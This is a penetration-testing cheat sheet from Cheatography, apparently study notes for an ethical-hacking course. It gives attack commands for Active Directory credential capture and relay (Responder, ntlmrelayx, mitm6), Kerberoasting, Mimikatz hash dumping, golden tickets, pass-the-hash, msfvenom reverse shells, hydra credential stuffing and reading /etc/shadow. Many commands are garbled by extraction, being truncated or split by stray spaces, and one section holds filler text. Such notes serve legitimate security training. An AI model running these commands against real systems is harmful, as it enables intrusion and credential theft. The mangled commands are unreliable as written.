Cheatography

peh-cheatsheat Cheat Sheet
by gad via cheatography.com/183164/cs/38127/

Ports

ftp	21
ssh	22
telnet	23
smtp	25
POP3	110
IMAP	143
smb	139, 445
DNS	53
TFTP	69
SNMP	161

MISCELLANOUS

Google Fu

use quotations to find only results that contain the text within the quotation marks.

> "Introduction to Cryptography"

use `site` keywork to only find results from a specific website.

> Introduction to Cryptography site:stac-kexchange.com

using the filetype keyword to search for specific file types.

> Introduction to Cryptography -review filetype:pdf

using the allintitle option to search the title of webpages for your provided keyword/text

> allintitle:index of

using the inurl option to search for the existence of a particular string in a url

> inurl:admin site:someadminsite.com

to get results that contain links/redirects to the example.com

> link:example.com

Google Fu (cont)

use the *wildcard to do a wildcard search for results that have anything as the* but must begin and end with “hack” and “VPN” respectively

> "hack * VPN"

to return results of websites that offer similar services to amazon.com , useful if you want to know other competitors for a particular service

> Dell Laptop related:amazon.com

More of Google Fu here: https://www.bla-ckhat.com/presentations/bh-europe-05/BH-_EU_05-Long.pdf

File transfers

sdsdf

> sdsf

Spawing TTY shells

Link 1

Link 2

More metasploit

To search for metasploit modules within a metasploit module directory

```
search /path/ to/ msf /module -t search _st ring
search exploi ts/ linux -t ftp
```

Load metasploit plugins during a meterpreter session

```
load plugin -name
```

Get help on a plugin

```
help
```
>> scroll down

ACTIVE DIRECTORY

Gaining Initial Foothold

Use Responder to capture NTLMv2 hashes via LLMNR poisoning

```
responder -I eth0 -r
```

Gaining Initial Foothold (cont)

Crack capture NTLMv2 hash with hashcat

```
hashcat -m 5600 ntlmha sh.txt dic
```

Use nmap to enumerate domain for targets wit

```
nmap --scri pt= smb 2-s ecu rit y .0/24
```

If SMB signing disabled, SMB Relay attack (lik

> SMB=Off and HTTP=Off and HTTPS=Off in

Then, use ntlmrelayx.py to relay hashes captu dump local SAM hashes.

```
responder -I eth0 -r
```
then `./ntlmrel pport`

To get interactive SMB shell

```
./ntlmrelayx -tf target s.txt -sm
```

Using psexec.py, smbexec.py or wmiexec.py f

```
./psexec.py GOLD.l oca l/j sno w:
```

Using metasploit psexec

```
use window s/s mb/ psexec
```
>> set opt

Exploiting IPv6 to create an arbitrary domain u

```
mitm6 -d GOLD.local
```
>> `ntlmrelayx OLD.local -l adlootdir`

peh-cheatsheat Cheat Sheet

by gad via cheatography.com/183164/cs/38127/

Gaining Initial Foothold (cont)

Passback attack on MFP devices (e.g, printers)

`nc -L -p 389` on attack machine >> enumerate domain for MFPs >> login to MFP >> change LDAP server on MFP to attack IP >> capture hashes on attack machine

Sweep domain for MFP devices using metasploit's httpversion

To be edited

Enumerate, Enumerate, Enumerate

Post-Compromise Enumeration

To get the Resultant Group Policy config that has been applied on a host. This will output what GPO took precedence for a given config.

```
gpresult /h output.html
```

Find file shares on a domain

`Invoke -Sh are Finder` OR `Find-D oma inShare`

------- Enumerating with PowerView -------

Run PowerView

```
. .\Powe rvi ew.ps1
```

Get information about the domain (DCs IP, name, ...)

Get-NetDomain

Get information of DCs on the domain — domain name, IP of DC, DC OS, ...

Get-NetDomainController

To get the Default Domain Policy configs

`Get-Do mai nPolicy`

Access complete values of any Powershell property name

(Get-DomainPolicy).name or Get-Domai-nPolicy | select name

Get information of users on the domain

Get-NetUsers or Get-DomainUser

Post-Compromise Enumeration (cont)

To fetch just one entity from Get-NetUsers, Get-NetGroups

`Get-Ne tUsers -Identity jsnow` or `Get-Ne tGroup -Identity "Enterprise Admins"`

Get all admins on a domain

```
Get-Ne tGroup | Select -Object Name | Select -String t Name, admincount | Select -String 1
```

Get all users in a group

`Get-Ne tGr oup Member -Identity "Enterprise Admins" -Recurse`

------- Enumerating with BloodHound -------

Default usage to collect mappings/data via the SharpHound.ps1 Ingestor (noisy option)

`Invoke -Bl ood Hound -Domain GOLD.local`

Perform more specific collection (less noisy). ? takes ff options: `Group`, `LocalGroup`, `RDP`, `Session`, `Loggedon`

`Invoke-BloodHound -Domain GOLD.local -CollectionMethod ? --ZipFilename output.zip`

To collect Sessions currently active on the domain (users log in and out all the time)

`Invoke -Bl ood Hound -Colle cti onM ethod Session -Loop -Loopd uration HH:MM:SS`

After collection, import to Bloodhound GUI on kali

`bloodhound`

Post Compromise Attacks

Dumping SAM NTLM hashes on DC with secretsdump

`./secretsdump.py -just- dc-ntlm GOLD.l oca l/d oma ina dmi nus er: pas .16 8.2 19.140`

Post Compromise Attacks (cont)

PtH's crackmapexec password across a range of computer

`crackmapexec smb 10.0.0.1/24 -d G -u Administrator -H`

Pass a hash across a range of computer on th

`crackmapexec smb 10.0.0.1/24 -u admin -H 1--loca l-auth` for local account login

`--sam` to dump sam hashes

Attempt to dump the (local) SAM while running

`crackmapexec smb 10.0.0.1/24 -d G -u Administrator -H`

or `secret sdu mp.py -just- dc-ntlm`

To dump LSA secrets on target computer

`crackmapexec smb 192.16 8.2 19.0/ a`

Crack NTLM hashes using hashcat

`hashcat -m 1000 sam_ha she s.txt`

Gain remote shell with NTLM hash using ps/sr

`./psexec.py win_on e:@ 10.0.0.5 -`

Token Impersonation (TI) with metasploit

`use window s/s mb/exec` >> set options

`mpersonate_token` **`DOMAIN`***`username`*

Add new user via TI attack if impersonated tok

`add_user` **`username password`**

peh-cheatsheat Cheat Sheet

by gad via cheatography.com/183164/cs/38127/

Post Compromise Attacks (cont)

Add new (local) user via TI

```
add_user username password
```

Add local users to local groups

```
add_local_user groupname user_t o_add
```

Performing Kerberoasting Attacks -- get a TGST

```
/GetUserSPNs.py GOLD.l oca l/j sno w:j ohnsnow sdc/ip 192.16 8.2 19.140 -request
```

Perform Kerberoasting with user's hash

```
/GetUserSPNs.py GOLD.l oca l/j sno w:j ohnsnow sdc/ip 192.16 8.2 19.140 -hashes NTLMhash -r
equest
```

Crack a TGST with hashcat

```
hashcat -m 13100 tgst.txt rockyo u.txt -O
```

GPP/cPassword attack -- finding the `Groups.xml` file

```
smbclient -L \\\*$DC-IP\\SYSVOL --user GOLD.l oca l/j sno w%j ohnsnow
prompt off >> recurse on >> mget
```

Decrypting the cPassword obtain from `Groups.xml`

```
gpp-decrypt $cPassword
```

Performing a URL File Attack to get more NTLMv2 hashes

create a file: `@somefile.url` >> in created file, put:

```
[InternetShortcut]
URL=someurl
```

Performing the Print Nightmare Attack

External Link

Post Compromise Attacks -- Mimikatz

First things first

```
privilege::debug
```

Dump hashes of currently logged on users

```
sekurlsa::logonpasswords
```

Dump SAM hashes

```
lsadump::sdc /patch
```

Dump SAM hash of a specific account

```
lsadump::sdc /inject /name:krbtgt
```

Golden Ticket Attack

```
kerberos::golden /user:someuser /domain:GOLD.local{{ }}/sid:domain
```

Useful Linux Commands

To locate a file

```
updatedb
locate FILE
```

To clone a github repo

```
git clone REPO_URL
```

For **command2** to execute if and only if **command1** exits successfully

```
COMMAND1 && COMMAND2
```

For **command2** to execute if and only if **command1** fails to exec

```
COMMAND1 || COMMAND2
```

Print a range of numbers from **start** to **stop** with **step** increment

```
seq [START_NO] [STEP] STOP_NO
seq 1 256
```

To split a string into fields based on a delimiter (e.g space), and select the Nth field. Include **file** if string is in a file and not stdin

```
" string to cut into six fields " | cut -d ' ' -f N
[FILE]
```

To list open ports on a system

```
netstat -lp
```

Useful Linux Commands (cont)

To kill a process on an open port (thus closing

```
kill pid_no
```

To zip a file/directory (-r for recursiveness)

```
zip -r zipped fil e.zip file-o r-
o-zip
```

To unzip a zipped file

```
unzip zipped fil e.zip
```

To list crontab for a user

```
crontab -u johndoe -l
```

To create a cronjob to echo "nice" into a file ev (more on cronjobs here`:

```
crontab -e --> */1 * * * * echo " n
> file.txt
```

To find a *file* in directory / with permission of *4*

```
find / -type f -perm -4000
```

To set SUID bit on a file or dir

```
chmod u+s or chmod 4000
```

To set SGID bit on a file or dir

```
chmod g+s or chmod 2000
```

To set sticky bit on a file or dir

```
chmod +t or chmod 1000
```

Network Commands

To get IP info of network interfaces

```
ip a
```

To get arp neighbors

```
ip n
arp -a
```

To get info on gateway

```
ip r
```

peh-cheatsheat Cheat Sheet

by gad via cheatography.com/183164/cs/38127/

Users and Privileges

To switch between users

```
su USERNAME
```

To run a **command** as **user** without explicitly switching users

```
su USERNAME -c " COM MAN D"
```

To list sudo permissions for a user in terminal scope

```
sudo -l
```

To elevate priv of a user in terminal scope into super user

```
sudo su
```

For persistent super user / root mode

```
sudo -s
```

To change passwd for a **user**

```
passwd USERNAME
```

To add a new **user account**

```
adduser USERNAME
```

To view all user accounts, passwd or shadow file

```
cat /etc/p asswd
cat /etc/s hadow
```

To view all groups

```
cat /etc/group
```

To view sudo users (sudoers)

```
cat /etc/s udoers
```

Linux Services

To start, stop or restart a service

```
service SERVIC E_NAME start
service SERVIC E_NAME stop
service SERVIC E_NAME restart
```

To check status of a service

```
service SERVIC E_NAME status
```

Stages of Ethical Hacking

information gathering	using tools like wapalyzer, builtwith, breachparse,
scanning and enumeration	using tools like nmap, dirb, nikto, nessus, sublist3r, amass,
gaining access (exploitation)	using tools like searchsploit, exploit-db, metasploit, buffer overflows, bind/reverse shells
post-exploitation	using tools like pspy64, linpeas.sh, winpeas.sh or by doing a hashdump, passwd/shadow/group/sudoers file dumps, etc

Scanning and Enumeration

Port/Service Scanning/Discovery

enumerate all devices discoverable on a subnet

```
netdis cover -r 10.10.1 0.0/24
```

nmap TCP half-open scan on all ports with OS/version detection, script scan, tracert

```
nmap -T4 -sS -p- -A 10.10.1 0.10
```

nmap scan on range of IPs with only ping scan (port scan disabled)

```
nmap -T4 -sn 10.10.1 0- 124.0-255
```

nmap TCP half-open scan for select ports while skipping host discovery

```
nmap -T4 -sS -p1-1024 -A -Pn 10.10.1 0.0 -2 55
```

-sT (for full TCP 3-way handshake scan)
-sU (for UDP scan)

other scan techniques in place of -sS

Port/Service Scanning/Discovery (cont)

Nessus scan

```
service nessusd start --> https: //kali:8834
```

Nikto scan

```
nikto -host http:/ /10.10.10.1 0
```

HTTP/S Enumeration

Website vuln scan with Nikto

```
nikto -host http:/ /10.10.10.10
```

standard directory busting with dirb using defa no recursive search.

```
dirb https: //s ecu res ite.com -
```

Directory busting with dirb specifying wordlists

```
`dirb http://unsecuresite.com /path/to/wordlist
```

standard directory busting with gobuster

```
gobuster dir -u https: //s ome si
```

directory busting with gobuster, specify **threads**

```
gobuster dir -u http:/ /so mes it ,.php
```

Enumeration of tech stack for a website

```
whatweb https://www.example.com
```

Some wordlists to use:

```
/usr/s har e/w ord lis ts/ dir b us ter /[d ire cto ry- lis t-2.3 - med ium.txt
/usr/.../ dir bus ter /di rec to r y-l ist -lo wer cas e-2.3- med ium.txt
```

Other useful options for dirbusting with gobuster include: -c (to specify cookies string), -a (to set user agent).

peh-cheatsheat Cheat Sheet

by gad via cheatography.com/183164/cs/38127/

Domain Enumeration

Sub-domain enumeration

```
sublist3r -d DOMAIN.COM
```

discover domain names hosted on a server via virtual hosting

```
dns -n SERVER_IP -r LOCAL_IP_RAN-GE_TO_SEARCH_FOR_DOMAINS {{nb}}
dnsrecon -n 10.10.10.11 -r 127.0.0.0/24
```

to add discovered domain to host file

edit /etc/hosts and add mapping: `SERVER_IP DOMAIN NAM E.COM`

To probe domains for http/s servers using tomnomnom's httprobe

```
cat domain -na mes.txt | httpro be
```

SMB Enumeration

connect to SMB and list share names

```
smbclient -L \\\\19 2.1 68.2 19.133
```

connect to an SMB share

```
smbclient \\\\19 2.1 68.2 19.13 3\ \SHA R ENAME$
```

Enumerate SMB with help from modules from metasploit *auxiliary*

```
search smb auxiliary
```

SSH Enumeration

connecting to SSH on legacy systems. First start with `ssh login@ ser verip` and continue incrementally if needed

```
ssh username@10.10.10.10 -oKexAlgo-rithms=+diffie-hellman-group-exchange-sha1 -oHostKeyAlgorithms=+ssh-rsa -c aes128-cbc
```

To connect using private key.

```
ssh -i id.rsa johndo e@1 0.0.0 .1
```

NFS Enumeration

To mount the network file system on local machine

```
mount 10.0.0.1: /sr v/nfs /mnt
```

EXPLOITATION

Metasploit

Start metasploit. [Starting metasploit first time?]

```
msfconsole. [msfdb init && msfcon sole]
```

To search for an **exploit**

```
search EXPLOI T_NAME
```

After search, to select an exploit

```
use exploi tdb_id
```

To see options for an exploit

```
options
```

To set a value for an option

```
set option _name value
```

To run exploit

run or exploit

Automate metasploit with recourse scripts (`.rc` files)

```
msfconsole -r FILE_N AME.rc
```

To get list of all metasploit payloads via msfvenom

```
msfvenom --list payloads
```

To get the list of all options per payload

```
msfvenom -p payloa d_name --list -op t i ons
```

To get list of payload file output formats support by msfvenom

```
msfvenom --list formats
```

Metasploit (cont)

Basic syntax for using msfvenom

```
msfvenom -p payloa d_name OPTION arch
-f out_fi le_ format -o out_fi le
```

Create reverse_shell shellcode (e.g. for buffer

```
msfvenom -p window s/s hel l_r ev 2
EXITFUNC=thread -b " \x0 0" -a x8
```

Searchsploit / Exploit-db

To search for an exploit on exploit-db

Use `exploit-db` website or `searchsploit EXPLOI T_NAME` on terminal

After search, to get full local path on system for an exploit

```
searchsploit -p EXPLOI TDB_ID
```

Reverse shell

https://www.revshells.com/

https://github.com/swisskyrepo/Payloads-AllTheThings/blob/master/Methodology-%20and%20Resources/Reverse%20Shel-l%20Cheatsheet.md

Bruteforce

Bruteforce password for a username to a servi

```
hydra -l username -P /path/ to/ p port
hydra -l john -P /usr/s har e/j o .1:22
```

Credential stuffing with hydra

```
hydra -L userna mes.txt -P passwo
```

Bruteforce (cont)

Credential stuffing with hydra using a file with colon seperated "username:pass" format on multiple targets

```
hydra -C logins.txt -M target s.txt -p 139 smb
```

Bruteforce password for a zip file

```
fcrackzip -u -D -p /path/ to/ wor dlist zipfil e_name
```

For bruteforcing web-sites/-apps, use Burp Suite >> Intruder >> Sniper (for password spraying or to try several passwords against a username --). Use Burp Suite >> Intruder >> Pitchfork (for credential stuffing) or use Burp Suite >> Intruder >> Cluster bomb (for credential stuffing that tries every combination of username/password)

Post Exploitation

Dump password hashes of user accounts	`hashdump`
To identify a type of hash	`hash-identifier`
To crack a hash using hashcat (check https://hashcat.net/wiki/doku.php?id=hashcat for **hash-mode**)	`hashcat -m hash-mode digest /path/ to/ wor dlist` `hashcat -m 0 cd7350 282... wordli st.txt`